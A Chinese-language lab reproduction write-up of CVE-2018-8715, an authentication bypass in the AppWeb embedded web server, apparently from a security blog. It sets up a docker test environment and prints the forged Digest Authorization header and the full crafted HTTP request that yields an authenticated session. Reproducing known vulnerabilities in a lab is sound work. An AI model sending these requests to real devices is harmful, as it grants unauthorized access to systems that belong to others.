AppWeb認證繞過漏洞(CVE-2018-8715)
阿新 • • 發佈:2022-05-13
0x01漏洞概述
AppWeb 是一個基於開源 GPL 協議的嵌入式 Web 伺服器,該協議由 Embedthis Software LLC開發和維護。它是用C / C++編寫的,幾乎可以在任何現代作業系統上執行。當然,它旨在為嵌入式裝置提供 Web 應用程式容器。
可以將 AppWeb 配置為進行身份驗證,其中包括以下三種身份驗證方法:
(1)basic、傳統 HTTP 基本身份驗證。
(2)digest,改進了 HTTP 基本身份驗證。在此模式下,Cookie 將用於身份驗證,而不是Authorization標頭。
(3)form、基於HTML的表單身份驗證。
在 7.0.3 之前的 Appweb 版本中,存在與 中的 authCondition 函式相關的邏輯缺陷。使用偽造的 HTTP 請求,可以繞過和登入型別的身份驗證。
0x02影響版本
AppWeb 7.0.2及早期版本
0x03漏洞環境
1、啟動漏洞環境
docker-compose up -d
2、訪問漏洞環境
(1)檢視環境的埠
docker ps
(2)訪問漏洞環境
ip地址如下:
http://your-ip:8080
3、復現完成後,刪除漏洞環境
docker-compose down
0x04復現過程
1、利用burpsuite抓包
傳送到重發器中,構造一個請求頭,併發送如下資料包。
利用漏洞需要知道一個已存在的使用者名稱,當前環境下使用者名稱為admin
Authorization: Digest username=admi
2、若使用者名稱已存在,就會返回一個session
-http-session-=3::http.session::27702ce7c74f4c5bf34be38ced068584
3、在傳送一次請求,帶上session和username,完整請求如下:
GET / HTTP/1.1 Host: 192.168.207.132:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Authorization: Digest username="admin" -http-session-=3::http.session::27702ce7c74f4c5bf34be38ced068584 Content-Length: 18 username=admin
檢視響應包中資訊,訪問成功。